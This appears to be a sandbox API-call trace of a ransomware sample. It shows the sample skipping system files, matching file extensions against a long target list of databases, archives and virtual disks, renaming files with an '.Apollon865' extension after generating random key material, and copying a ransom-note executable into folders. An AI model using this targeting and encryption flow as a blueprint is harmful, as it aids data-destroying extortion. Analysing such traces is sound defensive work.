	[0054.137] lstrcmpiW (lpString1="XmlFile.zip", lpString2="windows") returned 1
	[0054.137] lstrcmpiW (lpString1="XmlFile.zip", lpString2="bootmgr") returned 1
	[0054.137] lstrcmpiW (lpString1="XmlFile.zip", lpString2="temp") returned 1
	[0054.137] lstrcmpiW (lpString1="XmlFile.zip", lpString2="pagefile.sys") returned 1
	[0054.137] lstrcmpiW (lpString1="XmlFile.zip", lpString2="boot") returned 1
	[0054.137] lstrcmpiW (lpString1="XmlFile.zip", lpString2="ids.txt") returned 1
	[0054.137] lstrcmpiW (lpString1="XmlFile.zip", lpString2="ntuser.dat") returned 1
	[0054.137] lstrcmpiW (lpString1="XmlFile.zip", lpString2="perflogs") returned 1
	[0054.137] lstrcmpiW (lpString1="XmlFile.zip", lpString2="MSBuild") returned 1
	[0054.137] lstrlenW (lpString="XmlFile.zip") returned 11
	[0054.137] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Visualizer.zip") returned 106
	[0054.137] lstrcpyW (in: lpString1=0x2d3e608, lpString2="XmlFile.zip" | out: lpString1="XmlFile.zip") returned="XmlFile.zip"
	[0054.137] lstrlenW (lpString="XmlFile.zip") returned 11
	[0054.137] lstrlenW (lpString="Apollon865") returned 10
	[0054.137] lstrcmpiW (lpString1="mlFile.zip", lpString2="Apollon865") returned 1
	[0054.137] lstrlenW (lpString=".dll") returned 4
	[0054.137] lstrcmpiW (lpString1="XmlFile.zip", lpString2=".dll") returned 1
	[0054.137] lstrlenW (lpString=".lnk") returned 4
	[0054.137] lstrcmpiW (lpString1="XmlFile.zip", lpString2=".lnk") returned 1
	[0054.137] lstrlenW (lpString=".ini") returned 4
	[0054.137] lstrcmpiW (lpString1="XmlFile.zip", lpString2=".ini") returned 1
	[0054.137] lstrlenW (lpString=".sys") returned 4
	[0054.137] lstrcmpiW (lpString1="XmlFile.zip", lpString2=".sys") returned 1
	[0054.137] lstrlenW (lpString="XmlFile.zip") returned 11
	[0054.137] lstrlenW (lpString="bak") returned 3
	[0054.137] lstrcmpiW (lpString1="zip", lpString2="bak") returned 1
	[0054.138] lstrlenW (lpString="ba_") returned 3
	[0054.138] lstrcmpiW (lpString1="zip", lpString2="ba_") returned 1
	[0054.138] lstrlenW (lpString="dbb") returned 3
	[0054.138] lstrcmpiW (lpString1="zip", lpString2="dbb") returned 1
	[0054.138] lstrlenW (lpString="vmdk") returned 4
	[0054.138] lstrcmpiW (lpString1=".zip", lpString2="vmdk") returned -1
	[0054.138] lstrlenW (lpString="rar") returned 3
	[0054.138] lstrcmpiW (lpString1="zip", lpString2="rar") returned 1
	[0054.138] lstrlenW (lpString="zip") returned 3
	[0054.138] lstrcmpiW (lpString1="zip", lpString2="zip") returned 0
	[0054.138] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\XmlFile.zip.Apollon865") returned 114
	[0054.138] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\XmlFile.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\xmlfile.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\XmlFile.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\xmlfile.zip.apollon865"), dwFlags=0x1) returned 1
	[0054.139] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\XmlFile.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\xmlfile.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0054.139] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=593) returned 1
	[0054.139] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0054.139] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0054.139] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0054.139] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0054.140] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0054.140] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0054.140] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x560, lpName=0x0) returned 0xc0
	[0054.142] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x560) returned 0x100000
	[0054.142] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0054.143] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0054.143] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0054.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0054.143] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0054.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0054.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0054.143] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0054.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0054.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0054.144] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0054.144] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0054.144] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0054.144] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0054.144] CloseHandle (hObject=0xc0) returned 1
	[0054.144] CloseHandle (hObject=0x150) returned 1
	[0054.144] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0054.144] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0054.144] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0054.144] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x251, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XmlFile.zip", cAlternateFileName="")) returned 0
	[0054.144] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0054.144] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a70
	[0054.144] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies"
	[0054.144] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994f8 | out: hHeap=0x580000) returned 1
	[0054.144] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0054.144] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies") returned 77
	[0054.144] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies" | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies"
	[0054.144] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.144] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\publicassemblies\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0054.151] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.151] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52694b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3857d730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3857d730, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0054.151] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.151] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.151] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.151] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52694b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3857d730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3857d730, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.151] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.151] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.151] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.151] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.151] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3857d730, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3857d730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0054.151] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0054.151] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f842200, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x6104dbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f842200, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x337a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Adapter.dll", cAlternateFileName="MICROS~3.DLL")) returned 1
	[0054.151] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.Adapter.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.151] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.Adapter.dll", lpString2="Apollon865.txt.exe") returned 1
	[0054.151] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.Adapter.dll", lpString2=".") returned 1
	[0054.151] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.Adapter.dll", lpString2="..") returned 1
	[0054.151] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.Adapter.dll", lpString2="windows") returned -1
	[0054.151] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.Adapter.dll", lpString2="bootmgr") returned 1
	[0054.151] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.Adapter.dll", lpString2="temp") returned -1
	[0054.151] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.Adapter.dll", lpString2="pagefile.sys") returned -1
	[0054.151] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.Adapter.dll", lpString2="boot") returned 1
	[0054.151] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.Adapter.dll", lpString2="ids.txt") returned 1
	[0054.151] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.Adapter.dll", lpString2="ntuser.dat") returned -1
	[0054.152] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.Adapter.dll", lpString2="perflogs") returned -1
	[0054.152] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.Adapter.dll", lpString2="MSBuild") returned -1
	[0054.152] lstrlenW (lpString="Microsoft.VisualStudio.Tools.Applications.Adapter.dll") returned 53
	[0054.152] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies\\*") returned 79
	[0054.152] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="Microsoft.VisualStudio.Tools.Applications.Adapter.dll" | out: lpString1="Microsoft.VisualStudio.Tools.Applications.Adapter.dll") returned="Microsoft.VisualStudio.Tools.Applications.Adapter.dll"
	[0054.152] lstrlenW (lpString="Microsoft.VisualStudio.Tools.Applications.Adapter.dll") returned 53
	[0054.152] lstrlenW (lpString="Apollon865") returned 10
	[0054.152] lstrcmpiW (lpString1="dapter.dll", lpString2="Apollon865") returned 1
	[0054.152] lstrlenW (lpString=".dll") returned 4
	[0054.152] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.Adapter.dll", lpString2=".dll") returned 1
	[0054.152] lstrlenW (lpString=".lnk") returned 4
	[0054.152] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.Adapter.dll", lpString2=".lnk") returned 1
	[0054.152] lstrlenW (lpString=".ini") returned 4
	[0054.152] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.Adapter.dll", lpString2=".ini") returned 1
	[0054.152] lstrlenW (lpString=".sys") returned 4
	[0054.152] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.Adapter.dll", lpString2=".sys") returned 1
	[0054.152] lstrlenW (lpString="Microsoft.VisualStudio.Tools.Applications.Adapter.dll") returned 53
	[0054.152] lstrlenW (lpString="bak") returned 3
	[0054.152] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0054.152] lstrlenW (lpString="ba_") returned 3
	[0054.152] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0054.152] lstrlenW (lpString="dbb") returned 3
	[0054.152] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0054.152] lstrlenW (lpString="vmdk") returned 4
	[0054.152] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1
	[0054.152] lstrlenW (lpString="rar") returned 3
	[0054.152] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0054.152] lstrlenW (lpString="zip") returned 3
	[0054.152] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0054.152] lstrlenW (lpString="tgz") returned 3
	[0054.152] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0054.152] lstrlenW (lpString="vbox") returned 4
	[0054.152] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1
	[0054.152] lstrlenW (lpString="vdi") returned 3
	[0054.152] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0054.153] lstrlenW (lpString="vhd") returned 3
	[0054.153] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0054.153] lstrlenW (lpString="vhdx") returned 4
	[0054.153] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1
	[0054.153] lstrlenW (lpString="avhd") returned 4
	[0054.153] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1
	[0054.153] lstrlenW (lpString="db") returned 2
	[0054.153] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0054.153] lstrlenW (lpString="db2") returned 3
	[0054.153] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0054.153] lstrlenW (lpString="db3") returned 3
	[0054.153] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0054.153] lstrlenW (lpString="dbf") returned 3
	[0054.153] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0054.153] lstrlenW (lpString="mdf") returned 3
	[0054.153] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0054.153] lstrlenW (lpString="mdb") returned 3
	[0054.153] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0054.153] lstrlenW (lpString="sql") returned 3
	[0054.153] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0054.153] lstrlenW (lpString="sqlite") returned 6
	[0054.153] lstrcmpiW (lpString1="er.dll", lpString2="sqlite") returned -1
	[0054.153] lstrlenW (lpString="sqlite3") returned 7
	[0054.153] lstrcmpiW (lpString1="ter.dll", lpString2="sqlite3") returned 1
	[0054.153] lstrlenW (lpString="sqlitedb") returned 8
	[0054.153] lstrcmpiW (lpString1="pter.dll", lpString2="sqlitedb") returned -1
	[0054.153] lstrlenW (lpString="xml") returned 3
	[0054.153] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0054.153] lstrlenW (lpString="$er") returned 3
	[0054.153] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0054.153] lstrlenW (lpString="4dd") returned 3
	[0054.153] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0054.153] lstrlenW (lpString="4dl") returned 3
	[0054.153] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0054.153] lstrlenW (lpString="^^^") returned 3
	[0054.154] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0054.154] lstrlenW (lpString="abs") returned 3
	[0054.154] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0054.154] lstrlenW (lpString="abx") returned 3
	[0054.154] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0054.154] lstrlenW (lpString="accdb") returned 5
	[0054.154] lstrcmpiW (lpString1="r.dll", lpString2="accdb") returned 1
	[0054.154] lstrlenW (lpString="accdc") returned 5
	[0054.154] lstrcmpiW (lpString1="r.dll", lpString2="accdc") returned 1
	[0054.154] lstrlenW (lpString="accde") returned 5
	[0054.154] lstrcmpiW (lpString1="r.dll", lpString2="accde") returned 1
	[0054.154] lstrlenW (lpString="accdr") returned 5
	[0054.154] lstrcmpiW (lpString1="r.dll", lpString2="accdr") returned 1
	[0054.154] lstrlenW (lpString="accdt") returned 5
	[0054.154] lstrcmpiW (lpString1="r.dll", lpString2="accdt") returned 1
	[0054.154] lstrlenW (lpString="accdw") returned 5
	[0054.154] lstrcmpiW (lpString1="r.dll", lpString2="accdw") returned 1
	[0054.154] lstrlenW (lpString="accft") returned 5
	[0054.154] lstrcmpiW (lpString1="r.dll", lpString2="accft") returned 1
	[0054.154] lstrlenW (lpString="adb") returned 3
	[0054.154] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0054.154] lstrlenW (lpString="adb") returned 3
	[0054.154] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0054.154] lstrlenW (lpString="ade") returned 3
	[0054.154] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0054.154] lstrlenW (lpString="adf") returned 3
	[0054.154] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0054.154] lstrlenW (lpString="adn") returned 3
	[0054.154] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0054.154] lstrlenW (lpString="adp") returned 3
	[0054.154] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0054.154] lstrlenW (lpString="alf") returned 3
	[0054.154] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0054.154] lstrlenW (lpString="ask") returned 3
	[0054.154] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0054.155] lstrlenW (lpString="btr") returned 3
	[0054.155] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0054.155] lstrlenW (lpString="cat") returned 3
	[0054.155] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0054.155] lstrlenW (lpString="cdb") returned 3
	[0054.155] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0054.155] lstrlenW (lpString="ckp") returned 3
	[0054.155] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0054.155] lstrlenW (lpString="cma") returned 3
	[0054.155] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0054.155] lstrlenW (lpString="cpd") returned 3
	[0054.155] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0054.155] lstrlenW (lpString="dacpac") returned 6
	[0054.155] lstrcmpiW (lpString1="er.dll", lpString2="dacpac") returned 1
	[0054.155] lstrlenW (lpString="dad") returned 3
	[0054.155] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0054.155] lstrlenW (lpString="dadiagrams") returned 10
	[0054.155] lstrcmpiW (lpString1="dapter.dll", lpString2="dadiagrams") returned 1
	[0054.155] lstrlenW (lpString="daschema") returned 8
	[0054.155] lstrcmpiW (lpString1="pter.dll", lpString2="daschema") returned 1
	[0054.155] lstrlenW (lpString="db-journal") returned 10
	[0054.155] lstrcmpiW (lpString1="dapter.dll", lpString2="db-journal") returned -1
	[0054.155] lstrlenW (lpString="db-shm") returned 6
	[0054.155] lstrcmpiW (lpString1="er.dll", lpString2="db-shm") returned 1
	[0054.155] lstrlenW (lpString="db-wal") returned 6
	[0054.155] lstrcmpiW (lpString1="er.dll", lpString2="db-wal") returned 1
	[0054.155] lstrlenW (lpString="dbc") returned 3
	[0054.155] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0054.155] lstrlenW (lpString="dbs") returned 3
	[0054.155] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0054.155] lstrlenW (lpString="dbt") returned 3
	[0054.155] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0054.155] lstrlenW (lpString="dbv") returned 3
	[0054.155] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0054.155] lstrlenW (lpString="dbx") returned 3
	[0054.156] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0054.156] lstrlenW (lpString="dcb") returned 3
	[0054.156] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0054.156] lstrlenW (lpString="dct") returned 3
	[0054.156] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0054.156] lstrlenW (lpString="dcx") returned 3
	[0054.156] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0054.156] lstrlenW (lpString="ddl") returned 3
	[0054.156] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0054.156] lstrlenW (lpString="dlis") returned 4
	[0054.156] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1
	[0054.156] lstrlenW (lpString="dp1") returned 3
	[0054.156] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0054.156] lstrlenW (lpString="dqy") returned 3
	[0054.156] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0054.156] lstrlenW (lpString="dsk") returned 3
	[0054.156] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0054.156] lstrlenW (lpString="dsn") returned 3
	[0054.156] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0054.156] lstrlenW (lpString="dtsx") returned 4
	[0054.156] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1
	[0054.156] lstrlenW (lpString="dxl") returned 3
	[0054.156] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0054.156] lstrlenW (lpString="eco") returned 3
	[0054.156] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0054.156] lstrlenW (lpString="ecx") returned 3
	[0054.156] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0054.156] lstrlenW (lpString="edb") returned 3
	[0054.156] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0054.156] lstrlenW (lpString="epim") returned 4
	[0054.156] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1
	[0054.156] lstrlenW (lpString="fcd") returned 3
	[0054.156] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0054.156] lstrlenW (lpString="fdb") returned 3
	[0054.157] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0054.157] lstrlenW (lpString="fic") returned 3
	[0054.157] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0054.157] lstrlenW (lpString="flexolibrary") returned 12
	[0054.157] lstrcmpiW (lpString1=".Adapter.dll", lpString2="flexolibrary") returned -1
	[0054.157] lstrlenW (lpString="fm5") returned 3
	[0054.157] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0054.157] lstrlenW (lpString="fmp") returned 3
	[0054.157] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0054.157] lstrlenW (lpString="fmp12") returned 5
	[0054.157] lstrcmpiW (lpString1="r.dll", lpString2="fmp12") returned 1
	[0054.157] lstrlenW (lpString="fmpsl") returned 5
	[0054.157] lstrcmpiW (lpString1="r.dll", lpString2="fmpsl") returned 1
	[0054.157] lstrlenW (lpString="fol") returned 3
	[0054.157] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0054.157] lstrlenW (lpString="fp3") returned 3
	[0054.157] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0054.157] lstrlenW (lpString="fp4") returned 3
	[0054.157] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0054.157] lstrlenW (lpString="fp5") returned 3
	[0054.157] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0054.157] lstrlenW (lpString="fp7") returned 3
	[0054.157] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0054.157] lstrlenW (lpString="fpt") returned 3
	[0054.157] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0054.157] lstrlenW (lpString="frm") returned 3
	[0054.157] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0054.157] lstrlenW (lpString="gdb") returned 3
	[0054.157] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0054.157] lstrlenW (lpString="gdb") returned 3
	[0054.157] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0054.157] lstrlenW (lpString="grdb") returned 4
	[0054.157] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1
	[0054.157] lstrlenW (lpString="gwi") returned 3
